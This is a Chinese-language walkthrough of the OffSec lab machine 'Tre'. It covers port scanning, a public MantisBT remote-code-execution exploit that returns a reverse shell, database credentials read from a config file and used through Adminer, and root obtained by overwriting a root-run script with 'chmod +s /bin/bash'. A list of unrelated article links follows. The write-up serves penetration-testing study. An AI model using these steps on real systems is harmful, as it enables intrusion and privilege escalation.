主要知识点

  • 突破边界的方法比较多样
  • 观察pspy64的检测结果

具体步骤

依旧nmap扫描开始,开放了80,8082,22端口

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 03:39 UTC
Nmap scan report for 192.168.56.84
Host is up (0.00083s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
|   256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
|_  256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Tre
8082/tcp open  http    nginx 1.14.2
|_http-title: Tre
|_http-server-header: nginx/1.14.2
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

其中80端口会提供比较多的信息，隐藏路径还真不少

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.117.84/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   502,404,429,503,400
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/cms                  (Status: 301) [Size: 314] [--> http://192.168.117.84/cms/]
/mantisbt             (Status: 301) [Size: 319] [--> http://192.168.117.84/mantisbt/]
/server-status        (Status: 403) [Size: 279]
/system               (Status: 401) [Size: 461]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

其中mantisbt， 搜索一下有一个RCE漏洞，不过目前没有拿到版本信息，只能抱着试试看的想法试试

C:\home\kali\Documents\OFFSEC\play\Tre> searchsploit -m 48818          Exploit: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)URL: https://www.exploit-db.com/exploits/48818Path: /usr/share/exploitdb/exploits/php/webapps/48818.pyCodes: CVE-2019-15715, CVE-2017-7615Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Documents/OFFSEC/play/Tre/48818.pyC:\home\kali\Documents\OFFSEC\play\Tre> python2 48818.py
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up

在本地的nc -nlvp 80则会收到reverse shell

C:\home\kali\Documents\OFFSEC\play\Tre> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.117.84] 38846
bash: cannot set terminal process group (569): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tre:/var/www/html/mantisbt$

调用pspy64来观察，发现基本上每秒钟都会执行一次，且我们对于这个 /usr/bin/check-system有写权限

2024/12/16 07:47:15 CMD: UID=0    PID=1434   | /bin/bash /usr/bin/check-system 
2024/12/16 07:47:16 CMD: UID=0    PID=1436   | /bin/bash /usr/bin/check-system 
2024/12/16 07:47:17 CMD: UID=0    PID=1437   | /bin/bash /usr/bin/check-system 
2024/12/16 07:47:18 CMD: UID=0    PID=1438   | /bin/bash /usr/bin/check-system 
2024/12/16 07:47:19 CMD: UID=0    PID=1439   | /bin/bash /usr/bin/check-system 
2024/12/16 07:47:20 CMD: UID=0    PID=1440   | /bin/bash /usr/bin/check-system 
2024/12/16 07:47:21 CMD: UID=0    PID=1441   | /bin/bash /usr/bin/check-system ......
......www-data@tre:/var/www/html/mantisbt$ ls -l /usr/bin/check-system
ls -l /usr/bin/check-system
-rw----rw- 1 root root 135 May 12  2020 /usr/bin/check-systemwww-data@tre:/var/www/html/mantisbt$ cat /usr/bin/check-system
cat /usr/bin/check-system
DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p infowhile :
do
echo "Checking...";
sleep 1;
done

直接覆盖掉，赋予/bin/bash SUID权限，但是发现不成功，怀疑是该脚本循环执行，即使更改文件也无法立刻生效

echo "chmod +s /bin/bash" > /usr/bin/check-system
cat /usr/bin/check-system
chmod +s /bin/bash

 

上传并执行linpeas.sh，发现一个有趣的文件 /var/www/html/mantisbt/config/config_inc.php,其中包括数据库的用户名和密码,但是无法从命令行登录

 

$g_hostname               = 'localhost';
$g_db_type                = 'mysqli';
$g_database_name          = 'mantis';
$g_db_username            = 'mantissuser';
$g_db_password            = 'password@123AS';

继续搜索，发现了一个adminer.php,这个文件在路径爆破的时候没有发现，应该是字典问题

drwxr-xr-x 16 www-data www-data  12288 Apr  1  2017 mantisbt
-rw-r--r--  1 www-data www-data 227984 Oct 24  2017 file.jpg
drwxr-xr-x  3 root     root       4096 May 12  2020 ..
-rw-r--r--  1 www-data www-data    164 May 12  2020 index.html
-rw-r--r--  1 root     root         20 May 12  2020 info.php
drwxr-xr-x 16 root     root      12288 May 12  2020 system
-rw-r--r--  1 root     root     489307 May 12  2020 adminer.php
drwxr-xr-x  5 www-data www-data   4096 May 12  2020 .
drwxr-xr-x  9 www-data www-data   4096 May 12  2020 cms
pwd
/var/www/html

访问一下，是一个mysql 的web UI,用发现的mantissuser/password@123AS来登录，成功,其中mantis_user_table中的tre行对应的realname好像是一个密码，而恰好remote server有一个tre的用户

尝试su tre，成功，并且发现了该用户可以重启服务器

www-data@tre:/tmp$ su tre
su tre
Password: Tr3@123456A!id
uid=1000(tre) gid=1000(tre) groups=1000(tre),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
sudo -l
Matching Defaults entries for tre on tre:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser tre may run the following commands on tre:(ALL) NOPASSWD: /sbin/shutdown

 

也许我们可以重启服务器后再看/usr/bin/check-system的改动会不会生效

sudo /sbin/shutdown -r
Shutdown scheduled for Mon 2024-12-16 08:03:36 EST, use 'shutdown -c' to cancel.Session terminated, killing shell... ...killed.
bash: [1497: 2 (255)] tcsetattr: Inappropriate ioctl for device
www-data@tre:/var/www/html/mantisbt$ exit

等服务器重启好以后，按照相同的步骤重新创建reverse shell，提权成功

C:\home\kali\Documents\OFFSEC\play\Tre> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.117.84] 37042
bash: cannot set terminal process group (508): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
bash-5.0$ /bin/bash -p
/bin/bash -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
cat /root/proof.txt
22f5d43e241d15a25e6d1eae87510c31

 

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如若转载，请注明出处：http://www.pswp.cn/bicheng/87196.shtml
繁体地址，请注明出处：http://hk.pswp.cn/bicheng/87196.shtml
英文地址，请注明出处：http://en.pswp.cn/bicheng/87196.shtml

如若内容造成侵权/违法违规/事实不符，请联系英文站点网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【Mars3d】支持的basemaps数组与layers数组的坐标系列举

【Mars3d】支持的basemaps数组与layers数组的坐标系列举

问题场景： basemap 是epsg4326的。，layer 图层是 epsg 4450的。可以在一个页面中展示吗？ 回复： 可以不同坐标系叠加，但layer 图层是 epsg 4450的只支持arcgis动态服务，其他情况的不支持 wmts只支持3个坐标…
阅读更多...
【算法】509. 斐波那契数

【算法】509. 斐波那契数

509. 斐波那契数 简单 相关标签 premium lock icon 相关企业 斐波那契数 （通常用 F(n) 表示）形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始，后面的每一项数字都是前面两项数字的和。也就是： F(0) 0，F(1) 1 …
阅读更多...
FOC学习笔记（5）内嵌式电机与表贴式电机的区别

FOC学习笔记（5）内嵌式电机与表贴式电机的区别

1. 引言 在现代电机设计中，永磁同步电机（Permanent Magnet Synchronous Motor, PMSM）因其高效率、高功率密度和优异的动态性能，在工业、新能源汽车、航空航天等领域得到广泛应用。根据永磁体在转子中的安装方式不同，永…
阅读更多...
算法 按位运算

算法 按位运算

按位与（Bitwise AND）和按位异或（Bitwise XOR） 按位与（&） 按位与是对两个数的二进制表示的每一位进行逻辑与操作。 规则：两个对应位都为1时，结果位才为1，否则为0。…
阅读更多...
python3GUI--基于PyQt5+SQLite3的网址审核系统（详细图文）

python3GUI--基于PyQt5+SQLite3的网址审核系统（详细图文）

文章目录 一．前言二．相关知识1.PyQt52.sqlite3 三．效果预览1.登录2.注册3.普通用户身份权限4.管理员身份权限 三、技术讨论1.数据展示表格1. 更强的表现力和交互性（前端功能丰富）2. 数据处理效率更高（支持大…
阅读更多...
与后端现场联调mock数据

与后端现场联调mock数据

当我们后端在现场没办法连后端本地就可以使用mock数据，模拟后端返回数据。使用工具：apifox 一、安装好以后--新建接口 举个栗子： 我想建个接口http://123.123.123.123:8080/api/login 二、 新建期望，返回固定值，否则…
阅读更多...
C# 事件(发布者和订阅者)

C# 事件(发布者和订阅者)

发布者和订阅者 很多程序都有一个共同的需求，即当一个特定的程序事件发生时，程序的其他部分可以得到 该事件已经发生的通知。 发布者/订阅者模式（publisher/subscriber pattem）可以满足这种需求。在这种模式中，发布 …
阅读更多...
RediSearch高性能全文搜索引擎

RediSearch高性能全文搜索引擎

RediSearch 是 RedisLabs 团队开发的一个高性能全文搜索引擎，可作为一个 Redis Module 运行在 Redis 上。 Redis7：百万数据级Redis Search 超越 ElasticSearch Redis Search是基于Redis的全文搜索引擎模块（RediSearch）&#xff0c…
阅读更多...
菜谱大全——字符串处理艺术：从文本解析到高效搜索 [特殊字符][特殊字符]

菜谱大全——字符串处理艺术：从文本解析到高效搜索 [特殊字符][特殊字符]

目录 前言一、现实场景二、技术映射2.1 基础刀工：String类2.2 高效剁馅：StringBuilder2.3 精准雕刻：正则表达式 三、知识点呈现3.1 String vs StringBuilder vs StringBuffer3.2 正则表达式核心语法速查3.3 字符串拼接性能陷阱 四、代码实现五…
阅读更多...
webpack+vite前端构建工具 -答疑

webpack+vite前端构建工具 -答疑

webpack答疑 1 输入webpack命令，执行的是全局版本还是本地版本的webpack 当在命令行窗口输入webpack命令时，其执行优先级可通过以下步骤明确判断： 1.1 【全局安装优先机制】 执行原理：系统会按照环境变量PATH的顺序逐级查找可执…
阅读更多...
API接口开放平台 Crabc 3.4 发布

API接口开放平台 Crabc 3.4 发布

Crabc 是一款 API 接口开发平台，企业级接口管理、SQL2API 平台。支持动态数据源、动态 SQL 和标签， 支持接入（mysql、oracle、达梦、TiDB、hive、es 和 mongodb）等 SQL 或 NoSQL 数据源，在线可视化编写 SQL 快速发布接…
阅读更多...
PD快充协议芯片XSP04D支持全协议+支持串口通讯+支持与主板共用一个Type-C

PD快充协议芯片XSP04D支持全协议+支持串口通讯+支持与主板共用一个Type-C

随着Type-C接口的充电器普及，市面上的PD充电器越来越多，小家电产品可不配充电器，使用Type-C接口，然后加入一颗PD协议取电协议芯片XSP08即可让充电器/充电宝/车充等电源输出9V/12V/15V/20V电压给产品供电。 针对各种各样的不同需求…
阅读更多...
C# 高效加载txt文件内容

C# 高效加载txt文件内容

在 C# 中，高效加载 TXT 文件内容可以通过多种方法实现，具体方法的选择取决于文件的大小和读取需求。以下是一些常用的方法： 1. 使用 File.ReadAllText 如果文件比较小，并且你希望一行一行地读取整个内容，可以使用 Fi…
阅读更多...
（2）pytest执行用例的规则

（2）pytest执行用例的规则

1. 简介 今天主要学习一下pytest的执行用例的规则。 2. 通过help帮助查看pytest如何使用 .查看pytest命令行参数，可以用pytest -h 或pytest --help查看 3. 用例设计原则 文件名以test_*.py文件和*_test.py以test_开头的函数以Test开头的类以test_开头的方法所有的…
阅读更多...
InnoDB数据页

InnoDB数据页

导读： 我们已经知道了页是数据库存储的基本单位，知道了一条行记录的存储格式是怎样的，当数据越来越多时，那一条条行记录具体又是怎么在页中被组织起来的呢？ 一、InnoDB数据页结构 二、总结 1、一条条行数据是如何在数…
阅读更多...
世赛背景下，中职物联网应用与服务赛项实训解决方案

世赛背景下，中职物联网应用与服务赛项实训解决方案

一、世赛背景与物联网应用赛项概述 1.1 世赛发展历程及对中职教育的影响 世界技能大赛（WorldSkills Competition，简称世赛）自1950年创立以来，已经成为全球范围内展示职业技能水平的重要赛事。截至2024年，世赛已成功举…
阅读更多...
【攻防篇】解决：阿里云docker 容器中自动启动xmrig挖矿-- 实战

【攻防篇】解决：阿里云docker 容器中自动启动xmrig挖矿-- 实战

文章目录 场景一、问题二、原因三、解决方案1、控制台处理2、 [清除与防护](https://blog.csdn.net/ladymorgana/article/details/148921668?spm1001.2014.3001.5501)1. 紧急处理：停止挖矿进程2. 清理被感染的容器3. 防护措施：防止再次被入侵4. 排查入侵…
阅读更多...
飞算智造JavaAI：智能编程革命——AI重构Java开发新范式

飞算智造JavaAI：智能编程革命——AI重构Java开发新范式

文章目录 引言：当传统Java开发遇上AI一、技术架构解析1.1 核心架构图1.2 关键技术栈 二、实战演示：从需求到代码的全AI辅助2.1 场景：电商优惠券系统开发2.2 代码生成实例2.3 智能调试演示 三、与传统开发模式对比测试3.1 基准测试数据3.2 典型…
阅读更多...
[特殊字符] 分享裂变新姿势：用 UniApp + Vue3 玩转小程序页面分享跳转！

[特殊字符] 分享裂变新姿势：用 UniApp + Vue3 玩转小程序页面分享跳转！

在如今流量成本日益攀升的移动互联网时代，"用户分享拉新" 成为了增长的重要策略。而微信小程序作为天然具备社交传播力的平台，提供了较完善的分享机制支持。本文将从实战角度出发，手把手教你如何使用 uni-app Vue3 构建一个支持「…
阅读更多...
[创业之路-458]：企业经营层 - 蓝海战略 - 重构价值曲线、整合产业要素、创造新需求

[创业之路-458]：企业经营层 - 蓝海战略 - 重构价值曲线、整合产业要素、创造新需求

“重构价值曲线、整合产业要素、创造新需求”是蓝海战略中实现价值创新的核心路径，它们构成了一个从内部优化到外部协同，再到市场颠覆的完整逻辑链条。以下从理论框架、实践方法和企业案例三个维度展开分析： 一、重构价值曲线：打…
阅读更多...
最新文章

Copyright @ 2022~2023